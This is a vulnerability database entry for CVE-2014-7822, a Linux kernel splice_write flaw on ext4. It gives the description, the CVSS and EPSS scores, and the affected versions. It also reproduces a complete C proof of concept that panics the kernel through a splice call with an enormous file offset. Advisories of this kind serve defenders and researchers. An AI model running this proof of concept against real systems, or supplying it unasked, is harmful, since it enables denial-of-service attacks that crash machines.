CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file, which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call, as demonstrated by use of a file descriptor associated with an ext4 filesystem.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
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Metrics
Score
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CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.53%
–
–
2022-02-13
–
–
3.53%
–
–
2022-04-03
–
–
3.53%
–
–
2022-05-15
–
–
3.53%
–
–
2022-12-18
–
–
3.53%
–
–
2023-01-01
–
–
3.53%
–
–
2023-02-05
–
–
4.21%
–
–
2023-02-19
–
–
3.53%
–
–
2023-02-26
–
–
3.53%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.19%
2025-03-30
–
–
–
–
0.19%
2025-04-06
–
–
–
–
0.19%
2025-04-13
–
–
–
–
0.19%
2025-04-15
–
–
–
–
0.19%
2025-04-15
–
–
–
–
0.19,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2015-04-12 22h00 +00:00 Author : Emeric Nasi EDB Verified : No
/* ----------------------------------------------------------------------------------------------------
* cve-2014-7822_poc.c
*
* The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file
* which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call,
* as demonstrated by use of a file descriptor associated with an ext4 filesystem.
*
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
* Works on ext4 filesystem
* Tested on Ubuntu with 3.13 and 3.14 kernels
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-7822_poc cve-2014-7822_poc.c
*
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/
/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#define EXPLOIT_NAME "cve-2014-7822"
#define EXPLOIT_TYPE DOS
#define JUNK_SIZE 30000
/* ----------------------- functions ----------------------------*/
/* Useful:
*
+============+===============================+===============================+
| \ File flag| | |
| \ | !EXT4_EXTENTS_FL | EXT4_EXTETNS_FL |
|Fs Features\| | |
+------------+-------------------------------+-------------------------------+
| !extent | write: 2194719883264 | write: -------------- |
| | seek: 2199023251456 | seek: -------------- |
+------------+-------------------------------+-------------------------------+
| extent | write: 4402345721856 | write: 17592186044415 |
| | seek: 17592186044415 | seek: 17592186044415 |
+------------+-------------------------------+-------------------------------+
*/
/**
* Poc for cve_2014_7822 vulnerability
*/
int main()
{
int pipefd[2];
int result;
int in_file;
int out_file;
int zulHandler;
loff_t viciousOffset = 0;
char junk[JUNK_SIZE] ={0};
result = pipe(pipefd);
// Create and clear zug.txt and zul.txt files
system("cat /dev/null > zul.txt");
system("cat /dev/null > zug.txt");
// Fill zul.txt with A
zulHandler = open("zul.txt", O_RDWR);
memset(junk,'A',JUNK_SIZE);
write(zulHandler, junk, JUNK_SIZE);
close(zulHandler);
//put content of zul.txt in pipe
viciousOffset = 0;
in_file = open("zul.txt", O_RDONLY);
result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);
close(in_file);
// Put content of pipe in zug.txt
out_file = open("zug.txt", O_RDWR);
viciousOffset = 118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!!
printf("[cve_2014_7822]: ViciousOffset = %lu\n", (unsigned long)viciousOffset);
result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615
if (result == -1)
{
printf("[cve_2014_7822 error]: %d - %s\n", errno, strerror(errno));
exit(1);
}
close(out_file);
close(pipefd[0]);
close(pipefd[1]);
//Open zug.txt
in_file = open("zug.txt", O_RDONLY);
close(in_file);
printf("[cve_2014_7822]: POC triggered, ... system will panic after some time\n");
return 0;
}
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Linux>>Linux_kernel >> Version To (including) 3.15.8